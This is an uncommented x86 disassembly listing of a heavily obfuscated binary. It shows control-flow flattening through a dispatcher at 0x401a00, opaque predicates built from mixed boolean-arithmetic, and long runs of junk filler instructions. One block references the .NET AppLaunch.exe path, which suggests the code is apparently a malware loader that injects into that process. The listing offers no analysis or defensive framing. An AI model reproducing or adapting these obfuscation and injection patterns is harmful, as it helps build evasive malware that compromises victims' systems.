and esi, 0xfb46d090
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0x6f81e8d7
cmp edx, 0xffffffff
setne al
cmp dword [0x4a3f80], 0xa
mov edx, eax
setge ah
setl ch
inc dl
mov cl, ah
and ah, dl
or dl, ch
inc cl
xor dl, 1
and cl, al
and al, ch
or al, ah
or cl, ah
or al, dl
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x73bfe7d2
cmovne ecx, esi
test al, al
mov eax, ecx
cmovne eax, esi
test dl, dl
cmove eax, ecx
jmp 0x401a00
mov eax, 0xa0acdca2
jmp 0x401a00
cmp byte [ebp - 0x67], 0
mov eax, 0x877b890a
mov ecx, 0x41da2aff
cmovne eax, ecx
jmp 0x401a00
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
not esi
and ecx, 0x69afd41e
and esi, 0x96502be1
or esi, ecx
mov edx, esi
mov eax, esi
xor esi, 0xf155de99
xor eax, 0x96502be1
xor edx, 0x69afd41e
mov edi, esi
and edi, eax
and esi, edx
and edx, 0x885d9ac0
and eax, 0x77a2653e
mov ecx, edi
not ecx
and edi, 0x53ee13c5
or eax, edx
mov ebx, ecx
and ebx, 0xac11ec3a
or edi, ebx
mov ebx, esi
not ebx
and esi, 0x53ee13c5
or ecx, ebx
and ebx, 0xac11ec3a
or esi, ebx
not ecx
xor esi, edi
mov edi, 0x6e946a2
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x98fa0a86
and esi, 0x6705f579
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xc8a6d2fa
mov esi, edx
and esi, 0x37592d05
or ecx, esi
mov esi, eax
xor esi, 0x40a2403a
xor eax, 0x885d9ac1
or edx, eax
and eax, 0x37592d05
and esi, 0xc8a6d2fa
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov eax, edx
not eax
mov esi, edx
or esi, 0x20841002
and edx, 0x806202b0
mov ecx, eax
or ecx, 0x5a104004
and esi, 0x7a945006
and eax, 0x509ad49
and ecx, 0x7a945006
or eax, esi
mov esi, 0x97d7770a
or edx, ecx
xor edx, eax
mov eax, edx
not eax
and edx, 0x5f19ed4d
and eax, 0xa0e612b2
or edx, eax
sete dl
setne al
cmp dword [0x4a3f80], 0xa
setge ah
setl cl
xor al, ah
or ah, dl
and al, dl
xor al, 1
mov ch, al
or al, ah
xor ch, ah
mov ah, cl
xor cl, dl
xor al, 1
or ah, dl
xor cl, 1
or al, ch
mov edx, ecx
or cl, ah
xor al, 1
xor dl, ah
xor cl, 1
or cl, dl
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
cmovne edi, esi
test al, 1
mov eax, 0x6e946a2
cmovne eax, edi
test dl, 1
mov edx, dword [ebp - 0x58]
cmove eax, edi
mov dword [ebp - 0xfc], edx
jmp 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x4202461
mov edx, ecx
and edx, 0x5116400e
and ecx, 0xdd2486cc
or esi, edx
mov edx, eax
xor edx, 0x5536646f
and edx, eax
xor esi, 0x4202461
and eax, 0x22db7933
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x5536646e
xor eax, 0x22db7933
and esi, 0xaac99b91
or edx, esi
mov esi, edx
not esi
and edx, 0xeaf6619f
and esi, 0x15099e60
or edx, esi
mov esi, 0xaaae125e
xor edx, 0xeaf6619f
or eax, edx
mov ecx, eax
not ecx
and eax, 0x693d550
and ecx, 0xf96c2aaf
or eax, ecx
cmp eax, 0x693d550
sete cl
cmp dword [0x4a3f80], 0xa
setl al
setge dl
mov ah, al
or dl, cl
or al, cl
xor ah, cl
xor al, 1
mov ch, ah
or al, ah
and ch, cl
xor ch, 1
mov cl, ch
or ch, dl
xor cl, dl
xor ch, 1
or ch, cl
mov cl, al
mov dl, ch
xor cl, 1
and ch, al
xor dl, 1
and cl, dl
or dl, al
or ch, cl
mov eax, edx
xor al, ch
test al, 1
mov eax, 0x2effc394
cmovne esi, eax
test dl, 1
mov eax, 0xaaae125e
cmovne eax, esi
jmp 0x409db9
mov eax, 0xd3b9ad01
jmp 0x401a00
mov eax, 0xdea79e29
jmp 0x401a00
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x170], eax
mov eax, dword [ebp - 0x58]
movzx eax, word [eax]
mov dword [ebp - 0x174], eax
mov eax, 0xfe4833b6
jmp 0x401a00
mov eax, dword [0x4a3f84]
mov ebx, 0x21238a8a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov esi, ecx
not eax
or esi, 1
and ecx, 0x80427a7d
mov edx, eax
mov edi, eax
or edx, 0x1ccb14f2
and esi, 0x1ccb14f3
and edi, 0xe334eb0c
and eax, 0x7fbd8582
or edi, esi
and edx, 0x1ccb14f3
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0x7fbd8582
mov edi, esi
and edi, 0x80427a7d
or edx, edi
mov edi, 0x21238a8a
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x80af6370
sete cl
setne ah
cmp dword [0x4a3f80], 0xa
setge al
setl dl
mov ch, al
and cl, al
or al, ah
and dl, ah
xor ch, ah
xor al, 1
or dl, cl
or al, ch
xor ch, 1
xor al, 1
mov cl, ch
or al, dl
or cl, al
xor al, ch
mov edx, ecx
xor dl, al
test dl, 1
cmovne ebx, esi
test al, 1
mov eax, ebx
cmovne eax, edi
test cl, 1
cmovne eax, ebx
jmp 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xc0620821
mov edx, ecx
and edx, 0xa001508
mov edi, ecx
or edi, 0x80601100
and ecx, 0x916625f6
or esi, edx
and edi, 0x95e4f3d2
mov edx, esi
xor edx, 0x40020821
xor esi, 0x1584f3d2
and esi, 0x95e4f3d2
and edx, 0x4a020c29
or edx, esi
mov esi, eax
and esi, 0x20190004
and eax, 0x6e99da09
or esi, edi
or eax, ecx
xor esi, edx
mov edx, esi
not edx
and esi, 0xb930b0f9
and edx, 0x46cf4f06
or esi, edx
mov edx, esi
xor edx, 0x3010a580
xor esi, 0xc28000c
and esi, 0x4f6a085d
and edx, 0xb095f7a2
or edx, esi
mov esi, edx
xor esi, 0x8004a6a0
xor edx, 0x4f6a085d
mov ecx, edx
and ecx, 0x7db15103
and esi, 0x824eaefc
or esi, ecx
mov ecx, eax
xor ecx, 0x2088a08
xor eax, 0x916625f6
or edx, eax
and eax, 0x7db15103
and ecx, 0x824eaefc
or ecx, eax
not edx
xor ecx, esi
mov esi, 0x305c3b0b
or edx, ecx
xor edx, 0xffffffff
sete al
setne dl
cmp dword [0x4a3f80], 0xa
setl ah
setge cl
or al, cl
or ah, dl
or cl, dl
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
or ah, cl
xor dl, 1
or dl, al
xor dl, cl
mov ecx, edx
xor cl, ah
test ah, 1
mov eax, 0x24231e06
cmovne eax, esi
test dl, 1
not cl
mov edx, 0x24231e06
cmovne eax, esi
test cl, 1
cmove eax, edx
jmp 0x401a00
mov eax, 0x9d4b80d1
jmp 0x401a00
sub edx, 0x9e
dec edx
rol edx, 0xb0
neg edi
sbb esi, 0xc4
sbb ebx, 0x5e
ror ebx, 0xf8
rcl esi, 0x7d
add eax, 0x5b
sub eax, 0x79
imul eax
rcl esi, 0x50
sub edi, 0xfa
rol eax, 0x63
dec edx
sub eax, 0xf1
inc edi
neg edx
and ebx, 0x19
imul edx
not edi
or edi, 0xed
sbb edx, 0x97
add ebx, 0x61
rcl ebx, 0xd7
bswap ebx
add esi, 0x87
not eax
rol esi, 0x28
add eax, 0x9d
or edx, 0xad
rcl edx, 0xa0
dec edi
mov edi, 0xdf
sbb edx, 0xe6
rcl eax, 0x41
mov ebx, 0x6d
and edx, 0x64
sub edx, 0xad
add esi, 0xc3
inc eax
dec edi
imul edx
and edi, 0xd9
ror eax, 0x10
dec eax
not edx
inc esi
dec ebx
dec esi
or edi, 0x12
ror edi, 0x41
and eax, 0xc8
inc edi
and edi, 0x2b
rcl esi, 0x86
sbb eax, 0x1b
neg esi
rcl edi, 0xa
ror edi, 0xe6
imul ebx
imul edi
sub edi, 0x2d
rcr eax, 0xb7
neg edx
neg esi
and edi, 0x47
sub edx, 0x82
rcl esi, 0xe
bswap ebx
sbb eax, 0x1d
imul edi
mov edx, 0xb2
mov ebx, 0x2a
bswap ebx
imul esi
not edx
not edi
ror ebx, 0x90
imul esi
neg esi
not esi
neg edi
bswap edx
not eax
mov edi, 0xc4
rcr eax, 0x11
or eax, 0xaa
neg ebx
imul edx
rcr eax, 0x8d
not esi
imul edi
add eax, 0x9b
rol ebx, 0x45
rcr edx, 0xad
and ebx, 0x41
bswap eax
bswap esi
sbb ebx, 0x6f
ror eax, 6
inc esi
or edi, 0x99
ror eax, 0xc6
ror ebx, 0x8e
imul esi
inc esi
rcr eax, 0x17
neg eax
inc eax
neg edi
and edi, 0x6a
sbb edi, 0xb2
inc edx
mov esi, 0x77
imul edx
add edx, 0x62
ror edi, 9
rcl edx, 0x46
not ebx
not edi
ror ebx, 0x34
ror edi, 0xfc
sbb edi, 0xfe
imul edi
rol esi, 0x47
ror edi, 0x76
and edi, 0x1e
rol edx, 0xe
mov eax, 0xa8
rcl edx, 0x86
dec eax
add esi, 0xd2
not esi
inc eax
add ebx, 0x62
and eax, 0x18
and esi, 0x63
not esi
dec esi
rcl edi, 0x42
ror edx, 0x94
imul ebx
not esi
sbb edi, 0xc5
imul esi
not ebx
rcl edx, 9
bswap eax
mov edx, 0xe0
mov dword [ebp - 0x24], eax
mov eax, 0x7544dbdf
jmp 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x827ee92d
and ecx, 0x7d8116d2
or eax, ecx
mov ecx, eax
xor ecx, 0x8072e924
xor eax, 0x68010602
and eax, 0x6a0d060b
and ecx, 0x95f2f9f4
or ecx, eax
mov eax, ecx
mov edx, ecx
xor eax, 0x6a0d060b
xor edx, 0x95f2f9f4
xor ecx, 0x9ddba020
and ecx, edx
mov edx, eax
and edx, 0x82959d4
and eax, 0xfffffffe
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xb613dbfc
and ecx, 0x49ec2403
or edx, ecx
xor edx, 0x41c57dd6
or eax, edx
mov edx, eax
xor edx, 0xe32e69c9
mov ecx, eax
and ecx, 0xa2222908
and edx, eax
not eax
and eax, 0x410c40c1
or ecx, eax
mov eax, ecx
xor eax, 0x80220000
xor ecx, 0x5dddd6f7
mov esi, ecx
and esi, 0x6e0c7b7b
and eax, 0x81220080
or eax, esi
mov esi, edx
not esi
and edx, 0x91f38484
or ecx, esi
and esi, 0x6e0c7b7b
or edx, esi
not ecx
mov esi, 0x9cf5fc7b
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xe32e69c9
and eax, 0x1cd19636
or ecx, eax
sete ah
setne cl
cmp dword [0x4a3f80], 0xa
mov ch, ah
setl dl
setge al
and ch, al
xor al, cl
and cl, dl
or dl, ah
or cl, ch
xor al, 1
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
mov ecx, eax
xor dl, 1
or dl, ah
xor dl, 1
or cl, dl
xor dl, al
mov eax, 0xf5fea1dc
mov ch, cl
xor ch, dl
test dl, 1
mov edx, 0xf5fea1dc
cmovne eax, esi
test cl, 1
cmovne eax, edx
test ch, 1
cmove eax, esi
jmp 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x44c1888
mov ecx, edx
and ecx, 0xb3912210
and edx, 0xe9c8be32
or esi, ecx
mov ecx, eax
and ecx, 0x4822c567
and eax, 0x163741cd
xor esi, 0x44c1888
or eax, edx
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x5a8ccdcd
and esi, 0xa5733232
or ecx, esi
mov esi, ecx
xor esi, 0x8851b414
xor ecx, 0x12ae08ab
mov edx, ecx
and edx, 0x758443cb
and esi, 0x8a7bbc34
or esi, edx
mov edx, eax
xor edx, 0x2330004
xor eax, 0x61800202
and eax, 0x758443cb
and edx, 0x8a7bbc34
or edx, eax
xor edx, esi
mov esi, 0x31dce377
not edx
or edx, ecx
xor edx, 0xffffffff
sete cl
setne ch
cmp dword [0x4a3f80], 0xa
mov eax, ecx
setge ah
setl dl
and ch, dl
and ah, cl
xor al, dl
or dl, cl
or ah, ch
mov ch, dl
mov cl, al
mov dh, al
mov ebx, eax
xor ah, 1
not cl
xor ch, ah
or ah, dl
and cl, al
xor ah, 1
xor cl, 1
or ah, ch
xor dh, cl
or cl, al
mov ch, ah
xor cl, 1
xor ch, 1
or cl, dh
mov dl, ch
and dl, ah
xor ch, dl
xor dl, 1
or dl, ah
xor dl, 1
or dl, ch
mov ah, dl
xor bl, dl
xor ah, 1
mov bh, ah
and bh, dl
xor bh, 1
or bh, dl
or dl, al
xor bh, 1
xor dl, 1
or bh, ah
or dl, bl
xor bh, cl
mov eax, edx
xor al, bh
test al, 1
mov eax, 0xab89dcb6
cmovne esi, eax
test dl, 1
mov edx, dword [ebp - 0x1c]
mov eax, 0x31dce377
cmovne eax, esi
test bh, 1
cmove eax, esi
mov dword [ebp - 0x140], edx
jmp 0x401a00
mov eax, dword [ebp - 0x28]
mov edx, dword [eax]
mov ecx, edx
xor ecx, 0xb03c4351
mov eax, edx
and eax, 0xc4240
and ecx, edx
not edx
and edx, 0xb0300111
or eax, edx
mov edx, eax
xor edx, 0x44040
xor eax, 0xfff3bdbf
mov esi, eax
and esi, 0x4dbb6a3
and edx, 0xb0244150
or edx, esi
mov esi, ecx
not esi
and ecx, 0xfb24495c
or eax, esi
and esi, 0x4dbb6a3
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xbf725eaa
and ecx, 0x408da155
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x70b1e204
xor ecx, 0xf4e1dfb
xor edx, 0x8f4e1dfb
and edx, ecx
and eax, 0x7fffffff
and ecx, 0x80000000
or ecx, eax
mov eax, edx
not eax
and edx, 0x2bd86a1f
mov esi, eax
and esi, 0xd42795e0
or edx, esi
mov esi, ecx
not esi
and ecx, 0x2bd86a1f
or eax, esi
and esi, 0xd42795e0
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, dword [0x4a3f84]
not eax
mov dword [ebp - 0x1ac], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
or edx, 1
not ecx
and eax, 0x2de1d6c0
mov esi, ecx
and edx, 0xf20a0319
and esi, 0xdf5fce6
or esi, edx
mov edx, ecx
or edx, 0xf20a0318
and ecx, 0xd21e293f
and edx, 0xf20a0319
or eax, ecx
mov ecx, eax
xor edx, esi
xor ecx, 0x2de1d6c0
xor eax, 0xd21e293f
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
sete cl
setne dl
cmp dword [0x4a3f80], 0xa
setge al
mov ah, al
mov dh, al
mov ebx, eax
mov ch, al
or al, dl
xor dh, dl
xor al, 1
inc ah
or bl, cl
or al, dh
and dh, cl
and ch, ah
xor dh, 1
xor ch, 1
mov bh, dh
or dh, bl
xor bh, bl
xor dh, 1
or dh, bh
mov bh, ch
or ch, ah
xor bh, ah
xor ch, 1
or ch, bh
mov ah, ch
and ch, cl
xor ah, 1
and ah, dl
mov dl, dh
or ch, ah
xor dl, 1
xor ch, 1
mov ah, dl
mov cl, ch
or ch, al
xor cl, al
xor ch, 1
or ch, cl
mov cl, ch
xor cl, 1
mov al, cl
and al, ch
xor cl, al
xor al, 1
or al, ch
xor al, 1
or al, cl
mov ecx, edx
and cl, dh
xor al, 1
xor ah, cl
xor cl, 1
or dl, al
or cl, dh
mov ch, dl
xor cl, 1
or cl, ah
xor cl, al
mov eax, 0x8fe3134c
xor ch, cl
test dl, 1
mov edx, 0x56c9689
cmovne eax, edx
test cl, 1
cmove eax, edx
test ch, 1
mov edx, 0x8fe3134c
cmove eax, edx
jmp 0x401a00
mov eax, 0x3c453bfa
jmp 0x401a00
mov ecx, dword [0x4a3f84]
mov edi, 0xa18be6a1
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x6262ef91
and edx, 0x9d9d106e
or edx, esi
mov esi, ecx
not esi
and ecx, 0x9d9d106e
or eax, esi
and esi, 0x6262ef91
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0x962fad45
and eax, 0xe043f996
mov ecx, esi
and esi, 0x69d052ba
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0x1fbc0669
or eax, esi
mov esi, edx
xor esi, 0x8003a904
xor edx, 0x69d052bb
or ecx, edx
and edx, 0x1fbc0669
and esi, 0xe043f996
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov edx, ecx
xor edx, 0x1cee81ea
mov eax, ecx
and eax, 0x4ea01c8
and edx, ecx
not ecx
and ecx, 0x18048022
or eax, ecx
mov ecx, eax
xor ecx, 0x4c800c8
xor eax, 0xfb15fe37
mov esi, eax
and esi, 0x38275306
and ecx, 0x4c880e8
or ecx, esi
mov esi, edx
not esi
and edx, 0xc7d8acf9
or eax, esi
and esi, 0x38275306
or edx, esi
not eax
mov esi, 0x60bf7f9b
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xa1db0dde
and ecx, 0x5e24f221
or eax, ecx
mov ecx, eax
xor ecx, 0xad358c04
xor eax, 0x420052c8
and ecx, 0xadffad07
and eax, 0x520052f8
or eax, ecx
mov ecx, eax
xor ecx, 0xb52103
xor eax, 0x120002d8
and eax, 0xbf4a8edc
and ecx, 0x40b57123
or ecx, eax
cmp ecx, 0x40b57123
sete dl
cmp dword [0x4a3f80], 0xa
setl cl
mov eax, ecx
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, dl
xor ch, cl
and cl, dl
and ch, dl
or cl, al
mov eax, 0xa18be6a1
mov dl, ch
xor dl, cl
test cl, cl
cmovne eax, esi
test ch, ch
cmove eax, edi
test dl, 1
cmovne eax, esi
jmp 0x401a00
mov eax, dword [ebp - 0x20]
mov eax, 0xe60649fd
jmp 0x401a00
mov eax, 0xf4ac5b2b
jmp 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x8c0c0010
and edx, 0x40a01301
or ecx, edx
mov edx, eax
xor edx, 0xccac1311
and edx, eax
mov esi, ecx
xor esi, 0x840c0010
xor ecx, 0x73f3ffef
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x4a806563
and esi, 0x842c1210
and edx, 0xb57f9a9c
or ecx, ebx
and ebx, 0x4a806563
or esi, edi
or edx, ebx
not ecx
xor edx, esi
mov esi, 0xc4c3456c
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xccac1310
and edx, 0x3353ecef
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
sete dl
setne cl
cmp dword [0x4a3f80], 0xa
setge al
mov ah, al
xor ah, cl
or cl, al
or al, dl
and ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, al
xor al, 1
or al, cl
mov ah, dl
mov ecx, 0xc8192630
xor ah, al
test dl, dl
cmovne ecx, esi
test al, al
not ah
cmovne ecx, esi
test ah, 1
mov eax, 0xc8192630
cmove ecx, eax
mov eax, ecx
jmp 0x401a00
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov esi, ecx
xor esi, 0x8019a48c
not edx
mov eax, edx
and esi, ecx
and eax, 0x8019a48c
and edx, 0xf21d633
and ecx, 0xf0de29cc
or eax, esi
not esi
or ecx, edx
and esi, 0x7fe65b72
and eax, 0x8019a48d
or eax, esi
mov esi, eax
not esi
and eax, 0x51e6e56a
and esi, 0xae191a95
or eax, esi
mov esi, eax
xor esi, 0x50a0800a
xor eax, 0xae191a95
mov edx, eax
and edx, 0xa7466d70
and esi, 0x58b9928f
or esi, edx
mov edx, ecx
xor edx, 0x5098008c
xor ecx, 0xf21d633
or eax, ecx
and ecx, 0xa7466d70
and edx, 0x58b9928f
or edx, ecx
not eax
xor edx, esi
mov esi, 0xfa2dd5d4
or eax, edx
mov ecx, eax
not ecx
and eax, 0x26b75772
and ecx, 0xd948a88d
or eax, ecx
xor eax, 0x26b75772
setne dl
sete al
cmp dword [0x4a3f80], 0xa
mov ecx, edx
setl ah
setge ch
mov dh, ah
and cl, ch
xor dl, ch
and dh, al
and dl, al
xor al, ah
or dh, cl
and al, ah
mov cl, dh
or al, dl
xor cl, ch
mov ah, al
and cl, dh
xor ah, 1
mov edx, ecx
xor dl, 1
and al, dl
or dl, ah
and ah, cl
or ah, al
mov cl, ah
xor cl, dl
test ah, ah
mov eax, 0xf27d6ca5
cmovne eax, esi
test dl, dl
mov edx, 0xf27d6ca5
cmovne eax, edx
jmp 0x40b299
movzx eax, word [ebp - 0xb2]
mov ecx, dword [ebp - 0x14c]
mov edx, 0xd268f4c0
cmp ecx, eax
mov eax, 0x9e5ba318
cmovl eax, edx
jmp 0x401a00
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
andn eax, ecx, ecx
mov edx, ecx
not edx
mov edi, ecx
and edi, 0x66ae3c6d
mov esi, eax
not esi
and edx, 0x9951c392
and eax, 0x9951c392
or ecx, esi
and esi, 0x66ae3c6d
or edx, edi
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov edi, ecx
not edi
mov esi, ecx
and esi, 0x2c1f00bc
and ecx, 0xa280a2
mov eax, edi
and eax, 0xd3e0ff43
or edi, 0x7f597755
or esi, eax
mov eax, esi
mov ebx, esi
xor eax, 0x2c1f00bc
xor ebx, 0xacb98816
xor esi, 0xd120e600
and ebx, eax
and esi, 0xd12fe638
mov edx, ebx
not edx
and ebx, 0x16f2e4a6
mov dword [ebp - 0x2c], edx
and dword [ebp - 0x2c], 0xe90d1b59
or edx, edi
and edi, 0xe90d1b59
add ebx, dword [ebp - 0x2c]
or ecx, edi
not edx
xor ecx, ebx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x7f597754
and ecx, 0x80a688ab
or edx, ecx
mov ecx, eax
and ecx, 0x2ed019c7
and eax, 1
or ecx, esi
mov esi, ecx
xor esi, 0x51046031
xor ecx, 0x2a500086
or eax, esi
and ecx, 0xaa7b868e
and eax, 0x55847971
or eax, ecx
xor eax, 0x55847971
or eax, edx
mov esi, eax
or esi, 0x48230021
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x83dc8350
and ecx, eax
and esi, 0x4b370321
and edx, 0x80c88050
or edx, esi
mov esi, ecx
not esi
and ecx, 0xb4c8fcde
or eax, esi
and esi, 0x4b370321
or ecx, esi
not eax
mov esi, 0x99545432
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x7c237caf
and eax, 0x83dc8350
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xec316e97
mov edx, ecx
and edx, 0x13ce9168
or eax, edx
xor eax, 0x13ce9168
xor ecx, eax
test ecx, eax
setne dl
cmp dword [0x4a3f80], 0xa
mov ah, dl
setge al
or ah, al
xor al, dl
mov cl, ah
mov dl, ah
and dl, al
xor cl, 1
xor al, 1
and cl, al
or al, ah
or cl, dl
mov ch, al
xor ch, cl
test al, al
mov eax, 0xe6914309
cmovne eax, esi
test cl, cl
cmove eax, esi
test ch, ch
mov ecx, 0xe6914309
cmove eax, ecx
jmp 0x401a00
mov eax, dword [ebp - 0x1b4]
vmovups ymm1, ymmword [0x4511a0]
vmovups ymm0, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymm2, ymmword [0x4511c0]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x94]
add eax, 0xfffffff8
mov dword [ecx], eax
dec edx
neg eax
rcr eax, 0xf0
rcr esi, 0x7f
rcl ebx, 0xd8
ror esi, 0xa9
ror edi, 0xca
dec edx
imul ebx
ror edi, 0x9d
or eax, 0xfc
rcl eax, 0x11
not edx
add eax, 0x7c
imul ebx
neg ebx
not ebx
sbb ebx, 0x3b
imul edi
inc edx
rcl ebx, 0xca
rcl eax, 4
rol eax, 0xb3
sbb edi, 0x49
sub edi, 0x16
dec edi
sub edx, 0x52
inc eax
inc eax
bswap eax
add edi, 0x39
dec esi
inc edx
ror ebx, 0x42
imul ebx
bswap esi
bswap eax
not ebx
inc ebx
dec esi
not edx
neg eax
sbb edx, 0xba
dec ebx
inc edx
ror eax, 0xc
bswap esi
rcl edx, 0xf8
dec edi
bswap ebx
imul edi
not eax
sbb eax, 0xde
rcl ebx, 0xf
sub ebx, 0xc8
rcr edx, 0xf8
neg eax
ror edx, 0x49
not eax
sub edx, 0x27
not ebx
imul ebx
imul esi
dec ebx
rcr esi, 0x71
inc ebx
imul esi
rcr eax, 0x58
inc edx
neg edi
rcl edx, 0xc6
not eax
and esi, 0x7b
not esi
mov esi, 0xa5
dec esi
add eax, 0x5d
inc edi
ror edi, 0x21
rol ebx, 0xe7
neg edi
dec edx
sub esi, 0xa9
inc edi
and edi, 0x6d
dec edx
rcl ebx, 0x9c
sbb eax, 0xcb
sbb esi, 0xc6
mov eax, 0x6b
or ebx, 0xa6
imul eax
sub esi, 0x49
neg ebx
not eax
add ebx, 0x51
sub edx, 0x92
dec ebx
inc ebx
not ebx
bswap eax
inc ebx
bswap ebx
bswap edx
add edi, 0x97
ror esi, 0x25
rcr esi, 0x17
rcr edx, 0x9c
inc edx
bswap ebx
rcr edi, 0xcf
sub edi, 0x39
ror esi, 0x4e
inc ebx
bswap ebx
bswap ebx
rcr ebx, 1
bswap ebx
rcr edx, 0
bswap edx
sbb esi, 0x2d
inc edx
or ebx, 0x40
sub esi, 0xe1
add esi, 0xa4
ror esi, 0x18
bswap eax
bswap edi
not edi
rol eax, 0x22
or edi, 0x7d
rcl eax, 0xb
dec esi
mov ebx, 0xa3
dec esi
sub ebx, 0x3f
rcl edi, 0xd4
add edx, 0x5e
dec eax
rol ebx, 0xe1
or eax, 0xe2
inc edx
sbb edx, 0x59
and esi, 0x3d
ror ebx, 0x98
not edi
bswap ebx
bswap edi
rol eax, 0
not ebx
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [eax + 8], ecx
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
add eax, 0x24
mov dword [ecx], eax
dec eax
bswap edi
rcr ebx, 0x98
imul ebx
bswap esi
neg esi
rcl esi, 0x3b
sbb edx, 0xe7
rcr esi, 0x63
sub esi, 0x10
inc ebx
rol edx, 0xb7
not esi
rcr edx, 0x3d
rol eax, 0x9c
mov esi, 0x93
imul eax
imul eax
or edx, 6
neg ebx
mov edx, 0xf9
dec esi
sub edi, 0xce
sbb edi, 0x92
rol edx, 0x14
not ebx
and edx, 0x9c
rcr edi, 0xbd
or eax, 0xf
bswap esi
mov ebx, 0x3f
inc ebx
inc edx
or edi, 0xe4
not eax
or edx, 0xf2
neg ebx
rcl eax, 0x56
neg esi
inc edx
dec esi
imul eax
and edi, 0xd6
dec esi
dec eax
rcr ebx, 0x10
and eax, 0xce
rcl ebx, 0x50
neg esi
or edx, 0x9a
dec esi
inc edx
bswap edi
add edi, 0x1a
mov eax, 0x3e
inc edx
imul ebx
dec ebx
imul edi
sbb ebx, 0x94
rcr esi, 0x27
imul ebx
sbb esi, 0x7a
rcl edi, 0xf2
sub ebx, 4
add edi, 0x23
add edx, 0x90
sub edx, 0x17
not esi
bswap edx
neg esi
sbb edx, 0x60
and ebx, 0xc7
and eax, 0x77
inc edx
ror edx, 0x4a
bswap ebx
imul eax
bswap esi
rol esi, 0xb6
neg eax
imul eax
bswap eax
inc edi
and eax, 0xa
not eax
sub edi, 0xae
or esi, 0x1a
not ebx
add ebx, 0x27
imul edx
rol esi, 0x43
mov edx, 0xad
dec esi
sbb esi, 0xaa
bswap ebx
bswap edi
rcr esi, 0x68
inc eax
sbb eax, 0xb3
bswap esi
rol esi, 0xd
sub esi, 0x1d
rcl esi, 0xfa
or esi, 0x9b
rol ebx, 0x6d
rol edx, 9
sub eax, 0xbe
and ebx, 0xdf
mov ebx, 0xae
rcr edx, 0xf5
imul esi
or ebx, 0x8c
mov edx, 0x72
not edx
mov esi, 0x72
or edx, 0xac
not edi
add edx, 0x8e
imul edi
neg edi
and ebx, 0x70
dec edi
sbb edx, 0x29
add eax, 0x3a
inc ebx
sub eax, 0x28
rcr ebx, 0x5b
not eax
or edi, 0x31
inc esi
sub ebx, 0x11
imul edx
imul ebx
mov eax, 0xe6
dec esi
or edi, 0x28
neg edx
ror ebx, 0xdc
imul ebx
rcl edx, 0x19
